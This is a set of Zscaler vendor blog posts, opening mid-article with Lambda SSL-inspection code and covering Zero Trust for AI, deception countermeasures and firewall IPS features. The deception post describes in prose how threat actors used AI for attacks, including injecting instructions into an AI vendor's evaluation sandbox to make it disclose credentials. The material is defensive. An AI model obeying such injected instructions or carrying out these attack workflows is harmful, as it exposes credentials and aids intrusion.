/tmp/custom-ca-bundle.pem:import urllib.request # Create SSL context using the combined trust storessl_context = ssl.create_default_context(cafile="/tmp/custom-ca-bundle.pem") # Outbound HTTPS request now seamlessly trusts Zscaler re-signed certificatesreq = urllib.request.Request("https://ipinfo.io", headers={"User-Agent": "AWS-Lambda-URL-Checker"})with urllib.request.urlopen(req, context=ssl_context, timeout=10) as response: body = response.read().decode('utf-8') Crafting SSL Inspection Policies in Zscaler Internet Access (ZIA)With the Lambda trust store in place, we can configure ZIA to inspect outbound HTTPS traffic. ZIA offers two powerful methods for scoping SSL inspection rules to AWS serverless workloads.Option 1: Scoping Policy via Sub-Locations (IP / Subnet Based)If your Lambda functions are deployed into dedicated private subnets, you can scope policies based on subnet CIDRs.1. Create a Sub-Location in ZIA:In the ZIA Admin Portal, navigate to Administration > Location Management.Locate your AWS location and click Add Sub-Location.Define the IP range corresponding to your private Lambda subnet (e.g., 10.0.2.0/24).2. Build the SSL Inspection Rule:Navigate to Policy > SSL Inspection > Add SSL Inspection Rule.Under Criteria, select your newly created Sub-Location.Under Action, select Inspect and assign your Zscaler Intermediate CA.Option 2: Scoping Policy via Workload Groups (Leveraging AWS Native Metadata)For modern cloud environments where IP addresses are dynamic, ZIA supports Workload Groups. This approach maps AWS-native attributes—such as Security Groups, Account IDs, or VPC IDs—directly into ZIA policy context without maintaining static IP ranges.Prerequisite: Ensure AWS Workload Discovery is enabled between your AWS Account and Zscaler. For setup details, see the official Zscaler Documentation on Adding an AWS Account.1. Define a Workload Group in ZIA:In ZIA, go to Administration > Workload Groups > Add Workload Group.Name the group (e.g., AWS-Lambda-Workloads).Add criteria matching your AWS infrastructure:VPC ID: vpc-xxxxxxxSecurity Group ID: sg-0123456789abcdef02. Apply Workload Group to SSL Inspection:Under Policy > SSL Inspection, create a new rule.Under Criteria > Workload Groups, select AWS-Lambda-Workloads.Set Action to Inspect.Benefits of Workload Group Scoping:Zero IP Management: Eliminates hardcoded subnet CIDRs or static NAT mappings.Auto-Scaling Protection: Any new Lambda function attached to the Security Group instantly inherits the correct SSL inspection policy. Demonstrating Verification & TestingTo test the deployment, we invoke the URLStatusChecker Lambda function with a payload targeting https://ipinfo.io:Test Event Payload{ "url": "https://ip.zscaler.com/?json"} Lambda Response Payload{ "statusCode": 200, "url": "https://ip.zscaler.com/?json", "message": "Successfully connected to https://ip.zscaler.com/?json", "trustStoreUsed": "/tmp/custom-ca-bundle.pem", "responseBody": { "srcip": "n.n.n.n", "vip": "null", "nodename": "zs3-nnn-nnn-nnn", "cloud": "zscalerthree.net", "datacenter": "Washington DC IV", "xff": "n.n.n.n", "clientip": "n.n.n.n" }, "responseHeaders": { "Date": "Wed, 16 Sep 2026 11:21:26 GMT", "Content-Type": "text/html;charset=UTF-8", "Transfer-Encoding": "chunked", "Connection": "close", "Server": "nginx", "X-Powered-By": "PHP/8.0.30", "Access-Control-Allow-Origin": "*", "Access-Control-Allow-Methods": "GET, OPTIONS, HEAD", "Strict-Transport-Security": "max-age=63072000; includeSubDomains", "X-Frame-Options": "SAMEORIGIN" }} Conclusion & Key TakeawaysSecuring serverless egress traffic does not require sacrificing security visibility or burdening developers with complex certificate management code.By combining AWS CloudFormation, an isolated S3 bucket, and Zscaler Internet Access (ZIA):Security is Automated: Lambda functions dynamically discover and inject the Zscaler Root CA during cold start without modifying base images.Traffic is Fully Inspected: ZIA performs deep content inspection and threat analysis on encrypted outbound HTTPS sessions.Policy is Identity-Centric: Workload Groups tie ZIA policies directly to AWS Security Groups and cloud metadata, creating a scalable, zero-trust serverless architecture. Ready to Learn More?Check out the full CloudFormation deployment template (lambda-ssl-demo.yaml) and step-by-step setup guide in our GitHub repository to implement automated SSL inspection for your serverless workloads today!While this blog focuses on AWS Lamba, a similar approach can be leveraged for Serverless workloads in other cloud providers. E.g. Azure Functions & Cloud Run in GCP.To learn more about Zscaler Zero Trust Gateway, click here.

Extending Zero Trust to AI: What Federal Civilian Agencies Can Do Now

Jose Arvelo Negron (Manager, Sales Engineer) — Wed, 16 Sep 2026 03:28:29 GMT

This is the final post in a three-part series on AI security and governance for Federal Civilian agencies. The first post covered why M-25-21 changes the operating landscape. The second post introduced a six-part framework for secure AI adoption.Bottom line up front: Federal Civilian agencies have spent years moving toward Zero Trust. AI should be part of that strategy. Zscaler helps agencies extend Zero Trust principles into AI interactions across employee use, agency-built applications, and cloud environments. The practical starting point is visibility, followed by data protection, guardrails, testing, and governance evidence. AI creates new interaction points that Zero Trust must coverFederal agencies have spent years moving toward Zero Trust. AI should be part of that strategy.AI introduces new interaction points: prompts, responses, models, agents, AI APIs, embedded AI, AI-enabled SaaS, coding assistants, RAG pipelines, vector databases, MCP servers, tool-calling workflows, and agency-built AI applications.Each one can become a path for data exposure, unauthorized access, manipulation, or mission risk.A Zero Trust approach to AI asks practical questions. Who is using the AI system? What application or model are they accessing? What data is being shared? Is the user authorized? Is the tool approved? Is the destination trusted? Is sensitive data involved? Is the AI response safe and appropriate? Is the AI system acting within its mission scope? Is the interaction logged and governed? Can policy be enforced in real time?Zscaler helps agencies extend Zero Trust from users, devices, applications, branches, and workloads into AI interactions. This includes securing employee AI use, discovering AI assets, protecting sensitive data, applying guardrails, testing agency-built AI applications, and monitoring AI behavior over time. Where Zscaler fitsZscaler's role is to help Federal Civilian agencies make secure AI adoption operational. The platform supports three main areas.AI asset management helps discover and inventory AI use across endpoints, traffic, SaaS, code, and cloud environments. This supports governance, inventory, visibility, and risk prioritization.Secure access to AI applications helps protect employee use of public GenAI and embedded AI applications through access control, DLP, browser isolation, prompt inspection, response inspection, and AI Guard. This supports acceptable-use policy enforcement and sensitive data protection.Secure AI applications and infrastructure helps protect agency-built AI applications, agents, and model interactions through proxy or API-based guardrails, AI red teaming, model benchmarking, prompt hardening, and continuous monitoring. This supports public trust, mission alignment, and risk management for higher-impact AI systems.These capabilities help agencies answer the questions at the center of M-25-21 compliance: What AI is being used? What data does it touch? Who is using it? What risks exist? What controls are applied? What systems have been tested? What evidence can we provide? And how do we enable AI safely at mission speed? What this looks like across missionsSecure AI adoption will look different depending on the agency's mission.A benefits agency may want to use AI to help employees summarize case information, while preventing exposure of PII or unauthorized eligibility guidance.A public health agency may want to use AI to synthesize research, but needs responses grounded in authoritative sources.A regulatory agency may want to use AI to assist with inspections, investigations, or compliance reviews, while protecting sensitive regulated-entity information and avoiding unsupported conclusions.A grants-making agency may want to improve application processing, but must protect applicant data, procurement-sensitive information, and pre-decisional materials.A citizen services agency may want to deploy a public-facing AI assistant, but needs to ensure the assistant provides accurate information, avoids unauthorized determinations, and escalates to a human when appropriate.A software development organization may want to use AI coding assistants to accelerate modernization, while preventing source code leakage, secrets exposure, and unapproved model use.A security operations team may want to use AI to improve triage, detection, and response, while maintaining human oversight and protecting sensitive incident data.These are the kinds of use cases where AI security, Zero Trust, and governance need to work in concert. A practical path forwardA good starting point is visibility.Federal Civilian agencies can begin by identifying the AI already in use across public GenAI, embedded AI, desktop tools, developer environments, cloud services, models, agents, and AI-enabled applications.From there, agencies can map AI usage to data sensitivity and mission risk. This means understanding where AI interactions involve sensitive mission data, including PII, CUI, source code, benefits data, health data, financial data, law enforcement data, regulatory data, or procurement-sensitive information.Once agencies understand the risk, they can enforce acceptable-use and data protection policies. This may include access controls, DLP, browser isolation, prompt inspection, response inspection, and user coaching.For agency-built AI applications, agencies should apply guardrails, proxy or API-based inspection, and red teaming before deployment. After deployment, they should continuously monitor usage, policy violations, data exposure attempts, red team findings, model behavior, and emerging AI assets.Finally, agencies need to report what they learn to governance stakeholders, including the CAIO, AI Governance Board, CIO, CISO, privacy, legal, data, acquisition, and mission leaders.This approach supports the intent of M-25-21: move faster with AI while maintaining governance and public trust. Where this leaves usAI is becoming part of how Federal Civilian agencies deliver their missions.But responsible adoption requires more than enthusiasm and policy statements. Agencies need visibility, data protection, security controls, testing, monitoring, and governance evidence.M-25-21 sets the direction: accelerate AI adoption, remove barriers, establish governance, manage risk, and preserve public trust.Zscaler helps agencies put that direction into practice by extending Zero Trust into AI interactions. This means helping agencies discover AI use across the enterprise, reduce shadow AI risk, protect sensitive government data, enable approved GenAI tools, govern embedded AI in SaaS, secure developer use of AI, identify AI assets in cloud environments, protect agency-built AI applications and agents, red team AI systems before deployment, apply guardrails for prompts and responses, monitor AI usage continuously, and provide evidence to AI governance stakeholders.The goal is AI adoption with the visibility, control, and governance needed to manage risk in real time, at mission speed.To learn more about how Zscaler extends Zero Trust to AI for Federal Civilian agencies, reach out to your Zscaler account team for a detailed overview of our AI Security capabilities.Read the full series: Part 1: M-25-21 Changes the AI Conversation | Part 2: A Practical Framework for Secure AI Adoption

Countermeasures for AI-Enabled Attacks Start with Deception

Amir Moin (Principal Product Manager) — Tue, 15 Sep 2026 20:40:52 GMT

Anthropic’s September 2026 threat intelligence report provides one of the clearest public views to date into how threat actors are using frontier AI systems across real cyber operations. Not surprisingly, the attacks rely on familiar weaknesses – stolen credentials, exposed applications, vulnerable services, insecure code, SaaS abuse, cloud misconfigurations, and poor secret hygiene.So if attack tactics haven’t changed with AI, what has? The speed, scale, and economics of execution.Anthropic is stressing the improvements in adversarial speed and economics – something we raised the alarm on in Nov 2025 when everyone else was focused on AI’s ability to exploit at scale.“Many commentators focus on the risk of AI developing exploits at scale. While this is a danger, the risk from AI adoption is more pronounced across the cyber kill chain, where adversaries can operate faster, across a broader and deeper surface area, with fewer resources.” – Detecting and countering misuse of AI: September 2026, AnthropicAI allows attackers to automate reconnaissance, credential validation, exploit development, phishing infrastructure, post-compromise enumeration, and data processing. Those capabilities compress the time defenders have to detect and respond. Controls that were acceptable when attackers moved at human speed will not be sufficient when attackers operate with agentic workflows, persistent memory, and parallel task execution.But that same automation creates an advantage for defenders.AI-enabled attackers depend on discovery. They enumerate exposed assets. They classify systems. They validate credentials. They test access paths. They search for sensitive data, privileged accounts, internal applications, cloud resources, repositories, and AI infrastructure. In other words, they interact with the environment to decide where to go next.Deception exploits that dependency. That is why deception is especially relevant in the age of agentic attacks and why the Cloud Security Alliance has consistently cited deploying deception as a key priority response to AI attacks. The more automated the attacker becomes, the more opportunities defenders have to misdirect, observe, and contain them before real systems are impacted.At its core, deception is a capability, not a product. This post looks at five of Anthropic’s cyber operation case studies where deception can serve as a primary early-detection and containment mechanism. The goal is to show how defenders can use decoys, honeytokens, synthetic assets, and canaries to turn attacker discovery into detection. GTG-20006 / Midnight Blizzard — Russian EspionageGTG-20006 is a Russian state-linked espionage actor whose attribution is consistent with public reporting on Midnight Blizzard. This entity has been targeting Ukrainian, European, diplomatic, defense, and foreign-policy organizations.How AI was usedAI was used to automate operations, notably in the following areas:Develop and maintain malwareAcquire and configure infrastructureResearch and register phishing domainsSend phishing emailsMonitor C2 channelsManage compromised accountsSupport persistence and exfiltrationProcess stolen dataRebuild malware when security products detected itAI UpliftSpeed: Faster phishing, infrastructure setup, and malware modificationScale: More victims and campaigns handled in parallelDepth: Better post-compromise processing and data organizationResilience: Faster evasion when defenders created detectionsDeception as countermeasure for GTG-20006 Attack stepType of Deception for each applicable stepWhy Deception will be effectivePhishing domain and lure testingDecoy login portals (M365/vendor portals available via custom clone)If the actor tests phishing flows against decoy users or decoy portals, defenders get early evidence of campaign preparation.Credential harvestingDecoy browser credentials, decoy VPN credentials, decoy M365 credentials and SSO-recovery credential files (via credential-file decoy)No legitimate workflow should use these credentials. Any attempted use is high-confidence evidence of credential theft.Browser password theftEndpoint-planted decoy credentials in browser storesInfostealers will collect decoy credentials along with real ones. Use of those credentials reveals the compromised endpoint or user.Malware delivery and stagingDecoy endpoints, decoy update servers, decoy software-distribution portalsMalware or scripted access to decoy infrastructure provides behavior-based detection independent of signatures.Lateral movementDecoy admin credentials, decoy RDP/SSH/VPN paths, decoy internal bookmarksAttackers following stolen credentials or bookmarks are redirected into instrumented systems.SaaS and cloud data harvestingDecoy SaaS login portals, decoy cloud buckets, planted SaaS credentialsAttackers using stolen tokens to discover data will touch decoy high-value locations, creating early alerts.Hotel Wi-Fi or vendor compromiseDecoy vendor-management portals, decoy Wi-Fi admin consoles, decoy hospitality systemsAttackers abusing hospitality infrastructure can be detected when they interact with convincing decoy management surfaces. GTG-50014 — ShinyHunters-Style Smash-and-Grab Data TheftGTG-50014 is described as financially motivated activity associated with ShinyHunters-like operators.Anthropic identified an opportunistic data-theft and extortion pattern. The threat actor searched for exposed credentials, API keys, SaaS tokens, GitHub tokens, cloud credentials, container secrets, and mobile app secrets.Targets included technology providers, airlines, energy companies, nonprofits, retail chains, web3 platforms, SaaS providers, GitHub repos, containers, and Internet-facing APIs.How AI was usedAI helped the actor move quickly across many unrelated environments.Instead of manually understanding every mobile app, API, SaaS product, or cloud service, the threat actor could use AI to:Analyze decompiled mobile appsClassify discovered secretsUnderstand APIsGenerate validation workflowsSummarize stolen datasetsWrite scripts for harvesting and exfiltrationOrganize credentials by source typeSupport extortion preparationAI UpliftScale and speed. The attack techniques were not novel. The novelty was that AI made mass opportunistic exploitation easier and faster.Deception as countermeasure for GTG-50014 Attack stepType of Deception for each applicable stepWhy Deception will be effectivePublic repo scanningDecoy cloud keys (IAM/ECR/SA) and tokens planted on endpoints and in the customer's cloudSecret scanners will find and validate the decoys. Any use of those tokens is high-confidence malicious activity.API key validationDecoy cloud keys (AWS IAM/ECR, Azure, GCP SA) planted on endpoints Secret validation is a strong attacker behavior. Decoy keys convert validation into immediate detection.Cloud storage discoveryDecoy S3 buckets, Azure Blob containers and GCS pathsAttackers searching for exposed data will browse fake stores, giving defenders visibility into data-theft intent.SaaS compromiseDecoy Salesforce, ServiceNow, or SharePoint credentialsIf stolen SaaS credentials are tested, the decoy login attempt becomes a high-confidence alert.Downstream customer data theftSynthetic customer records, decoy CRM exports, beaconed decoy documents (HTML/Office) Attackers exfiltrating or opening fake customer data reveal themselves without exposing real customers.Data stagingDecoy database decoys (MariaDB/Mongo/Postgres) and beaconed decoy documentsWhen stolen-looking data is opened, moved, or uploaded, defenders get telemetry on attacker infrastructure.Extortion preparationDecoy documents (HTML/Office)Deception helps determine whether stolen data was accessed, staged, or prepared for publication. GTG-10007 — Exploit Foundries and Autonomous Attack FrameworksGTG-10007 is a sustained espionage operation by Chinese-speaking operators likely based in Changsha, Hunan.This case is important because it shows the concept of an AI-enabled exploit foundry.The threat actor used AI-first workflows to conduct intrusion attempts, recon foreign-government networks, reverse engineer security products, analyze firmware and binaries, develop and test exploits, maintain malware, build intelligence-collection infrastructure, and run parallel workstreams with persistent campaign memory.Targets included 50 organizations across retail, education, energy, tech, healthcare, finance, manufacturing, and government agencies.The threat actor compromised an education-technology company and extracted student data, accessed a retail company’s production systems, and retrieved citizen records from a Southeast Asian government agency. A major part of the operation involved autonomous vulnerability research against network appliances and security products. The report says one workflow produced more than a dozen possible zero-day findings in a single month.How AI was usedThe threat actor used AI to:Build a fleet of agent swarmsRun parallel subagentsBuild persistent campaign memoryAutomate firmware analysisCreate decompiler workflowsGenerate vulnerability hypotheses and exploit-code Perform lab testing and iterationSchedule intelligence collectionAI UpliftFaster vulnerability discovery and exploit iterationMultiple workstreams running in parallelAbility to inspect code paths, binaries, and firmware at volumeAbility for campaign memory stored targets, credentials, state, and instructionsThis sort of attack class is where Deception is particularly valuable, because defenders likely do not know the exploit in advance. Deception detects attacker interaction and intent, regardless of whether the CVEs, malware, or signatures are known.Deception as countermeasure for GTG-10007 Attack stepType of Deception for each applicable stepWhy Deception will be effectiveInternet-facing reconnaissanceDecoy VPN portals, appliance banners, admin consoles and identity portalsAutonomous recon agents will enumerate and interact with exposed-looking decoys, creating early detection.Appliance targetingDecoy security-appliance interfaces, firmware download portals and management APIsExploit researchers looking for appliance weaknesses may spend effort on instrumented fake assets.Version fingerprintingDecoy banners, vulnerable version strings and headersAI scanners rely on classification. Fake fingerprints can attract scanning and reveal targeting logic.Exploit testingHigh-interaction decoys that safely accept probes and payload attemptsNovel exploit attempts can be captured without needing prior signatures.Post-exploitation enumerationDecoy internal hosts, shares, AD objects and service accountsOnce inside, attackers often enumerate. Decoys turn enumeration into high-confidence detection.Credential reuseDecoy SSH keys, admin passwords, kubeconfigs, and API tokensCredential reuse against decoys reveals compromise before real privileged assets are reached.Lateral movementDecoy jump hosts, RDP systems, and database serversAttackers following internal paths are diverted into monitored infrastructure.Collection infrastructureDecoy document repositories, policy files, and defense-related contentIntelligence collectors may harvest synthetic material, exposing automated collection behavior.Malware testingDecoy endpoints and EDR/security-tool artifactsMalware or exploit tooling interacting with decoy endpoints gives behavior-based signals.Target prioritizationDecoy crown-jewel systems, admin paths and sensitive labelsAI agents prioritize attractive assets. Deception uses that prioritization against the attacker. GTG-50020 — From Hotel Bookings to the AI Supply ChainGTG-50020 is a Russian-speaking, financially motivated threat actor.The threat actor historically targeted hotel booking and fintech platforms, then pivoted toward AI vendors and AI supply-chain targets.The actor attempted to access a pre-release Claude model but did not succeed.Targets included hotel booking platforms, fintech platforms, AI companies, AI vendors, AI evaluation sandboxes, production AI API keys, KYC and identity-verification systems, and exchange and marketplace systems.One key attack involved injecting malicious instructions into an AI vendor’s automated evaluation sandbox. This caused credential disclosure. The actor then abused stolen production AI API keys from multiple providers.The actor also attacked about 30 AI companies in four days.How AI was usedAI was used in two ways:Targeted AI infrastructure directly by attacking AI evaluation workflows and stealing production AI API keys.Used AI-assisted offensive workflows to run reconnaissance and exploitation at scale.The AI tooling used by the threat actor constituted parallel reconnaissance agents, exploitation agents, target-specific scope files, automated finding retesting, containerized pentest tooling, local model gateways, and worker agents operating with limited human supervision.AI UpliftFaster web-app testingMore parallel attacksBetter target-specific exploitationRapid pivoting across many AI companiesAbuse of stolen AI keys for further operationsDeception as countermeasure for GTG-50020 Attack stepType of Deception for each applicable stepWhy Deception will be effectiveAI vendor reconnaissanceDecoy AI company assets, model registry entries and documentation portalsAttackers scanning AI companies may interact with fake high-value AI assets first.API key theftDecoy AI-provider / LLM-gateway keys (via cloud gen-ai decoy + credential files and decoy cloud keys)Stolen-key validation creates immediate high-confidence detection.AI evaluation abuseDecoy evaluation jobs, benchmark datasets and pre-release model referencesAttackers seeking sensitive model access can be diverted into monitored workflows.Web-app exploitationDecoy web apps with fake SSRF, XSS, and auth-bypass surfacesAutomated exploitation agents will probe decoys, revealing attack behavior.SSRF testingDecoy metadata endpoints and internal service URLsSSRF attempts against decoys expose exploitation attempts without risking real infrastructure.KYC workflow abuseDecoy KYC admin portals, identity-verification records and synthetic applicant dataAttackers targeting fraud or identity workflows can be detected before real records are abused.Fraud account creationDecoy onboarding flows and synthetic high-risk accountsAutomated account factories can be identified through interaction with controlled flows.AI supply-chain compromiseFake CI/CD secretsAttackers looking for AI pipeline access will validate decoys and reveal compromise paths.Extortion preparationBeaconed decoy documents (HTML/Office)Shows whether attackers reached data-theft or extortion stages while protecting real data. GTG-50029 — Hacktivists Targeting European Political EntitiesGTG-50029 was a politically motivated French-speaking hacktivist operation.They have targeted European political parties, media organizations, think tanks, SaaS providers, campaign-management platforms, political affiliates, readers and editorial staff.The actor used stolen API keys and AI-assisted tooling to scale attacks.Techniques used included public-container API key theft, custom Rust scanner for exposed keys, API key rotation through proxies, WordPress exploitation, admin account creation, webshell deployment, credential-harvesting, backup poisoning, browser C2 against a media site, credential interception, and Tor leak-site staging.The actor gained internal access to at least 14 of 42 tracked entities. The operation exfiltrated political, donor, member, student, mailbox, and payment-provider data.How AI was usedAI was primarily used to build and debug offensive tooling. The threat actors used AI to: Develop a WordPress exploitBuild a lab harnessDebug codeManage reconnaissanceReview codeValidate findingsBuild a doxxing/search platformCreate ingestion pipelinesNormalize and rank dataContainerize deploymentAI UpliftFaster exploit developmentFaster weaponization of public-facing web systemsBetter data processing for doxxingAbility for a single actor to run a campaign that looked more like a team effortDeception as countermeasure for GTG-50029 Attack stepType of Deception for each applicable stepWhy Deception will be effectivePublic-container scanningDecoy cloud keys/tokens planted on endpoints and in the customer's cloudScanners will harvest decoys. Validation attempts reveal attacker infrastructure.API key rotationHoneytokens tied to monitored API endpointsEven if attackers rotate keys through proxies, decoy-key use remains abnormal and high-confidence.CMS targetingDecoy WordPress/CMS instances, plugin directories and admin panelsHacktivists looking for exposed CMS weaknesses can be pulled into monitored systems.WordPress exploitationDecoy vulnerable CMS versions and instrumented login/reinstall flowsExploit attempts against decoys can be captured before real sites are affected.Rogue admin creationDecoy admin accounts Unauthorized admin creation is a strong signal of compromise.Webshell deploymentDecoy upload directories and writable plugin/theme pathsWebshell upload attempts against decoys reveal active exploitation.Credential-harvesting plugin deploymentDecoy CMS users and admin credentialsThe attacker’s harvesting tooling collects credentials that lead only to monitored assets.Backup poisoningDecoy backup archives and restoration pathsAttempts to alter decoy backups reveal persistence behavior.Doxxing data aggregationSynthetic donor lists, member records and political-affiliation dataProtects real users while revealing data-theft and publication intent.Leak-site stagingBeaconed decoy documents (HTML/Office)If staged or opened, defenders gain telemetry about attacker infrastructure and timing.As is evident from the five threat actors, AI-enabled attackers are automating the discovery of users, credentials, applications, APIs, cloud data, and exposed services. Deception gives defenders a way to pre-position false but believable assets in those discovery paths. When attackers or their AI agents touch those assets, you get early, high-confidence alerts before real systems are damaged. Recommended Deception control categories mapped to threat actorsTo consolidate what type of deception works best in different situations, we’ve mapped them to the threat actors documented in Anthropic’s report.Deception typeExamplesBest-fit attacksIdentity deceptionDecoy users, admin accounts, SSO credentials and OAuth tokensGTG-20006, GTG-50020, GTG-50029Endpoint deceptionDecoy browser passwords, SSH keys and credential filesGTG-20006, GTG-50014, GTG-50021Developer deceptionDecoy GitHub PATs, CI/CD secrets, cloud keys and package tokens on internal endpoints/cloudGTG-50014, GTG-50020, GTG-50029SaaS deceptionDecoy Salesforce / ServiceNow / SharePoint login portals + planted SaaS credentialsGTG-20006, GTG-50014, GTG-50029Cloud deceptionDecoy S3 buckets, database strings, IAM users and cloud consolesGTG-50014, GTG-50020Network deceptionDecoy VPNs, RDP/SSH hosts, databases and file sharesGTG-10007, GTG-20006Web-app deceptionDecoy CMS, admin panels and SSRF/XSS surfacesGTG-50020, GTG-50029AI-stack deceptionDecoy AI API keys, LLM gateways and MCPGTG-50020, GTG-50021, GTG-50014Data deceptionSynthetic customer records, decoy donor lists, beaconed decoy documents (HTML/Office)GTG-20006, GTG-50014, GTG-50029Note: We’ve included GTG-50021 and GTG-30005 in the table above as secondary or specialized deception opportunities, but these attacks are not discussed in this analysis because deception is not the primary front-line control for those scenarios.For the attacks described in Anthropic’s report, deception is not a replacement for patching, identity hardening, ZTNA, DLP, SaaS control, or threat prevention. It is a preemptive detection layer that changes the attacker’s operating environment. By placing decoy credentials, applications, APIs, data, and services in the paths that AI agents are likely to enumerate, you can increase attacker uncertainty, pollute automated decision-making, and generate high-confidence alerts before real systems are damaged.Learn more about Zscaler Deception here. If you’re already a Zscaler customer and would like to deploy Zscaler Deception, please reach out to your account manager.

Enhancing Application and Threat Detection in Zero Trust Firewall

Siddhartha Aggarwal (Staff Technical Product Specialist - Firewall) — Tue, 15 Sep 2026 16:02:25 GMT

Modern enterprises don’t run on a defined perimeter anymore. Users connect from everywhere, applications live across SaaS and public cloud, and attackers ever increasingly hide in encrypted traffic. In this environment, security teams need more than “IP + port” controls—they need application-aware enforcement and always-on threat inspection that follows users and traffic wherever it goes.Zscaler Zero Trust Firewall is designed for exactly that: cloud-delivered protection for web and non-web traffic, centralized policy, and deep visibility—without the operational drag of appliance sprawl. Two new capabilities that significantly improve this security outcomes are:Custom Application Service Groups (Custom App Services) for precise, reusable application/service controlsCustom IPS Signature Rules (Cloud Custom IPS) for organization-specific threat detections enforced through IPS ControlThis post focuses on what they do, why they matter, and how customers can put them into practice quickly.Why application and threat detection needs a zero trust approachLegacy firewalls were built for a world where:applications stayed in the data center,“Inside the perimeter” was trusted,and deep inspection (especially SSL/TLS) was optional.Today, that model breaks down:SSL/TLS is the default, and turning on TLS inspection at scale can be painful in appliance architectures.Attackers don’t just attack servers—they target users, endpoints, and “normal” protocols.Policy sprawl grows fast when you try to emulate zero trust through endless network segments and distributed rulebases.A Zero Trust Firewall addresses these challenges by enforcing in the cloud and adding richer context for decisions such as identity, application/service constructs, and integrated IPS.What Zero Trust Firewall (ZTFW) deliversCustomer outcomes typically map to three capabilities:Consistent protection everywhere: The same security posture for users at HQ, branches, and remote.Better precision than “network-only” controls: Policies can incorporate user context and (where licensed) process-level awareness via Endpoint App Control.Inline inspection + visibility: Built-in security services (including IPS) and centralized logging/insights so security teams can investigate and respond faster.That foundation is what makes Custom App Services and Custom IPS signatures so impactful: they become building blocks you can reuse and scale across your environment. Custom Application Service Groups: enforce policy on application services, not just IPsApplication Service Groups are policy objects you can use as criteria in Firewall Filtering and Forwarding rules. They’re defined using service metadata such as:IP addresses (single IP, subnet, or range)FQDNs and wildcard FQDNs (e.g., *.example.com)TCP/UDP destination portsZscaler provides both:Predefined application service groups (AU / “Authoritative”): These are application service groups for popular SaaS and cloud providers based on their metadata; broadly applicable; updated over time.Custom application service groups (CU) : Created by you, in your tenant, for your specific service definitions and policy needs. Predefined Application Service GroupsZscaler maintains and updates a list of predefined application services based on information published by the respective providers. These predefined services help customers:Reduce operational overhead: less manual IP-list maintenance as providers evolve.Write cleaner firewall policy: rules read like business intent (“Allow Microsoft 365”) rather than brittle networking trivia.Improve accuracy: service identification is built to reflect provider-published metadata. Zscaler also continuously updates provider-published metadata for many predefined groups, reducing the effort of tracking SaaS IP changes over time. Custom Application Service Groups: add flexibility when predefined isn’t enoughPredefined services are intentionally generalized and provider-driven. But real customer environments often need something more specific, such as:a privately hosted API with known FQDNs and portsa partner integration endpoint seta SaaS app that isn’t in the predefined cataloga subset of destinations within a larger provider footprintThat’s where Custom Application Service Groups come in.A custom application service group can be built using combinations of:IP addresses (single IP / subnet / range)FQDN / wildcard FQDN (e.g., api.example.com or *.example.com)TCP/UDP destination portsThis gives you service-aware control for apps that are unique to your business, not just what’s common among all customers.Where custom services deliver the most valueModel your own apps like “first-class services” in firewall policy: Instead of falling back to generic destination IP groups and ports.Limit a large, predefined service footprint to only what you intend: Example: define a custom group representing only a narrow set of AWS-hosted endpoints your engineering org should reach.Create reusable objects: Use the same custom service group across Firewall Filtering, Forwarding rules, and (where applicable) IPS control targeting.Custom Application Service Groups help you:Reduce rule fragility: Instead of chasing shifting IPs and endpoints, define the service once and reuse it.Improve least privilege: Narrow access to exactly the destinations and ports that matter.Simplify operations: Build cleaner policies using reusable objects rather than repeating the same destinations in many rules.A key advantage: first-packet identificationA key benefit of application service groups is they can be used to identify applications on the first packet, which can allow policy action to apply immediately. Operationally, this also influences rule design: application service-based policies often belong higher in a higher priority rule than similar “network application” rules to ensure deterministic matching.Example use cases:Tight SaaS allowlisting: Allow Microsoft 365 or Zoom-related service traffic only for intended users and conditions.Controlled cloud access: Allow AWS/GCP service traffic, but only for specific departments (and ideally with multiple conditions).Partner/API segmentation: Create a custom service group for partner API hosts and required ports, then enforce strict allow + logging. IPS Control with Cloud Custom IPS: always-on threat prevention, inlineEven the “right” application traffic can carry threats. That’s why Zero Trust Firewall pairs application control with inline intrusion prevention.IPS Control in ZIA provides signature-based detection across web and non-web traffic (including HTTP/HTTPS/FTP/DNS/TCP/UDP and IP-based traffic) and supports granular policy conditions such as users/groups/departments/locations and more. It also supports actions such as:AllowBlock/DropBlock/ResetBypass IPSDefault threat signatures vs. Custom IPS signatures (what’s included vs. what you add)IPS Control policies can be configured to enforce signatures from two sources:Signatures available with IPS Control by default: Zscaler’s IPS Control uses IPS signature rules built and updated by Zscaler’s security research team (ThreatLabz), as well as signatures from industry-leading vendors. These signatures provide broad baseline coverage and are maintained by Zscaler.Custom IPS Signature Rules (customer-defined): In addition to the default signatures, you can create and deploy custom IPS signatures that are specific to your organization’s requirements without requiring any additional infrastructure, and inspect your traffic using these signatures. These custom signatures are authored by your team and remain specific to your tenant.In either scenario, with Zscaler Cloud IPS Control, you no longer have to hairpin the traffic back to the DC via VPNs. Instead, the traffic can go directly to the cloud, no matter where the user, device, or workload is globally. Custom IPS Signature Rules: tailor threat detection to your environmentCustom IPS Signature Rules let your security team define organization-specific detections using Snort-like syntax, deploy them in the Zscaler cloud (no additional infrastructure), and enforce them through IPS Control via an assigned Threat Category. Additionally, the signature only stays in your tenant, enabling you to comply with TLP:amber/red guidelines.This is especially valuable when:You have a unique internal application or API surfaceYou receive new threat intel and want to respond independent of Zscaler's ThreatLabz.You need custom detections for compliance or for telemetry/signals into your SOC via Zscaler logging. Quick example: why you’d use a custom signature even when defaults existScenario: Your SecOps team receives threat intel about a pattern targeting your environment. That pattern may not exist in the default global signature set (yet), and you can’t wait for a broader industry signature release cycle.What you do:Keep default IPS signatures enabled (so you retain broad protection immediately).Create a Custom IPS signature that matches the environment-specific pattern.Assign it to a threat category and enforce it via an IPS Control rule scoped to the relevant users/locations/services (for example, the Application Service Group representing that app/service).Choose the IPS Control action (e.g., block/drop for high-confidence attempts) and activate the policy.Outcome: You get the best of both:continuously updated default coverage from Zscaler, andfast, precise, tenant-specific detection when your environment needs something unique—without deploying additional IPS infrastructure.In practice: write signatures that are specific, testable, and scoped (then monitor hits and adjust). ConclusionA Zero Trust Firewall isn’t just “a firewall in the cloud.” The real advantage comes from higher-fidelity policy objects and embedded threat prevention that move at the speed of modern environments.Custom Application Service Groups reduce policy fragility and increase enforcement precision by modeling services the way the business uses them.Custom IPS Signature Rules close detection gaps by letting you encode organization-specific threat intelligence and enforce it through IPS Control—without deploying separate IPS infrastructure.Together, they turn firewall policy from a static ruleset into a living control plane for application-aware access and threat detection in a zero trust architecture. Join an upcoming hands-on Zero Trust Firewall workshop where Zscaler experts walk you through building real policies for non-web traffic including IPS rules, DNS controls, and application-aware enforcement in a live, interactive environment.Reserve your spotSeats are limited and sessions fill quickly so register early.

